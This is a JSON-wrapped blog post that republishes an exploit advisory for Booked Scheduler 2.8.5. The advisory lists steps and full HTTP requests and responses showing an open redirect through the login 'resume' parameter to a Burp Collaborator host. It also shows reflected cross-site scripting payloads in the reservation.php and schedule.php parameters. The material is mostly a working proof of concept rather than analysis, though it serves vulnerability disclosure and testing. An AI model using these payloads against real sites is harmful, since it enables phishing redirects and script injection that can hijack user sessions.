{"id":59977,"date":"2024-10-29T22:11:03","date_gmt":"2024-10-29T19:11:03","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182369\/bookedscheduluer285-xssredirect.txt"},"modified":"2024-10-29T22:11:03","modified_gmt":"2024-10-29T19:11:03","slug":"booked-scheduler-2-8-5-cross-site-scripting-open-redirection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/booked-scheduler-2-8-5-cross-site-scripting-open-redirection\/","title":{"rendered":"Booked Scheduler 2.8.5 Cross Site Scripting \/ Open Redirection"},"content":{"rendered":"<p># Exploit Title: Open Redirect \/ Reflected XSS &#8211; booked-schedulerv2.8.5<br \/># Date: 10\/2024<br \/># Exploit Author: Andrey Stoykov<br \/># Version: 2.8.5<br \/># Tested on: Ubuntu 22.04<br \/># Blog:<br \/>https:\/\/msecureltd.blogspot.com\/2024\/10\/friday-fun-pentest-series-13-reflected.html<br \/>https:\/\/msecureltd.blogspot.com\/2024\/10\/friday-fun-pentest-series-12-open.html<\/p>\n<p>Open Redirect:<\/p>\n<p>Steps to Reproduce:<\/p>\n<p>1. Login and intercept HTTP request with a proxy such as Burpsuite or ZAP<br \/>2. In the &#8220;resume&#8221; parameter add the redirect URL e.g. Burp Collab<br \/>3. Forward the request<\/p>\n<p>index.php<\/p>\n<p>\/\/ HTTP POST login request<\/p>\n<p>POST \/Bookedbo8effotfu\/Web\/index.php HTTP\/1.1<br \/>Host: localhost<br \/>Cookie: PHPSESSID=7c0a0ee0b401863e1a30acbebf301916; language=en_gb;<br \/>fus_session=a15fcb9ef40abd1dece4c7fc35c2b58c; fus_visited=yes<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)<br \/>Gecko\/20100101 Firefox\/132.0<br \/>[&#8230;]\n<p>email=admin&amp;password=password&amp;captcha=&amp;login=submit&amp;resume=<br \/>https:\/\/urp4vilyopoly8dhq6xa2z8v0m6du3is.oastify.com&amp;language=en_gbg<\/p>\n<p>\/\/ HTTP response<\/p>\n<p>HTTP\/1.1 302 Found<br \/>Date: Sat, 12 Oct 2024 12:09:33 GMT<br \/>Server: Apache<br \/>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>Cache-Control: no-store, no-cache, must-revalidate<br \/>Pragma: no-cache<br \/>Location: https:\/\/urp4vilyopoly8dhq6xa2z8v0m6du3is.oastify.com<br \/>Content-Length: 0<br \/>Connection: close<br \/>Content-Type: text\/html; charset=UTF-8<\/p>\n<p>Reflected XSS:<\/p>\n<p>reservation.php<\/p>\n<p>\/\/ HTTP GET request<\/p>\n<p>GET<br \/>\/Bookedbo8effotfu\/Web\/reservation.php?rid=&#8221;&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;<br \/>HTTP\/1.1<br \/>Host: localhost<br \/>Cookie: PHPSESSID=7c0a0ee0b401863e1a30acbebf301916; language=en_gb;<br \/>new_version=v%3D2.8.5%2Cfs%3D1728734988;<br \/>fus_session=a15fcb9ef40abd1dece4c7fc35c2b58c; fus_visited=yes<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)<br \/>Gecko\/20100101 Firefox\/132.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<br \/>Accept-Language: en-GB,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Dnt: 1<br \/>Sec-Gpc: 1<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>Priority: u=0, i<br \/>Te: trailers<br \/>Connection: keep-alive<\/p>\n<p>\/\/ HTTP response<\/p>\n<p>HTTP\/1.1 200 OK<br \/>Date: Sat, 12 Oct 2024 12:23:55 GMT<br \/>Server: Apache<br \/>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>Cache-Control: no-store, no-cache, must-revalidate<br \/>Pragma: no-cache<br \/>Connection: close<br \/>Content-Type: text\/html; charset=UTF-8<br \/>Content-Length: 14003<\/p>\n<p>&lt;h5&gt;&lt;a<br \/>href=&#8221;\/\/localhost\/Bookedbo8effotfu\/Web\/reservation.php?rid=&#8221;&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;&#8221;&gt;Return<br \/>to the last page that you were on&lt;\/a&gt;&lt;\/h5&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>schedule.php<\/p>\n<p>\/\/ HTTP GET request<\/p>\n<p>GET<br \/>\/Bookedldk0euwfjx\/Web\/schedule.php?dr=&#8221;&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;<br \/>HTTP\/1.1<br \/>Host: localhost<br \/>Cookie: PHPSESSID=c7aa15661bb6b0b72ab88132664b75c9; language=en_gb;<br \/>resource_filter1=%7B%22ScheduleId%22%3A%221%22%2C%22ResourceIds%22%3A%5B%5D%2C%22ResourceTypeId%22%3Anull%2C%22MinCapacity%22%3Anull%2C%22ResourceAttributes%22%3A%5B%5D%2C%22ResourceTypeAttributes%22%3A%5B%5D%7D;<br \/>schedule_calendar_toggle=false<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:132.0)<br \/>Gecko\/20100101 Firefox\/132.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8<br \/>Accept-Language: en-GB,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: none<br \/>Sec-Fetch-User: ?1<br \/>Priority: u=0, i<br \/>Te: trailers<br \/>Connection: keep-alive<\/p>\n<p>\/\/ HTTP response<\/p>\n<p>HTTP\/1.1 200 OK<br \/>Date: Sat, 19 Oct 2024 09:12:33 GMT<br \/>Server: Apache<br \/>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>Cache-Control: no-store, no-cache, must-revalidate<br \/>Pragma: no-cache<br \/>Connection: close<br \/>Content-Type: text\/html; charset=UTF-8<br \/>Content-Length: 7853<\/p>\n<p>&lt;h5&gt;&lt;a<br \/>href=&#8221;\/\/localhost\/Bookedldk0euwfjx\/Web\/schedule.php?dr=&#8221;&gt;&lt;script&gt;alert(document.domain)&lt;\/script&gt;&#8221;&gt;Return<br \/>to the last page that you were on<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Open Redirect \/ Reflected XSS &#8211; booked-schedulerv2.8.5# Date: 10\/2024# Exploit Author: Andrey Stoykov# Version: 2.8.5# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/10\/friday-fun-pentest-series-13-reflected.htmlhttps:\/\/msecureltd.blogspot.com\/2024\/10\/friday-fun-pentest-series-12-open.html Open Redirect: Steps to Reproduce: 1. Login and intercept HTTP request with a proxy such as Burpsuite or ZAP2. In the &#8220;resume&#8221; parameter add the redirect URL e.g. Burp Collab3. Forward the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59977","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59977","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59977"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59977\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59977"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59977"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59977"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}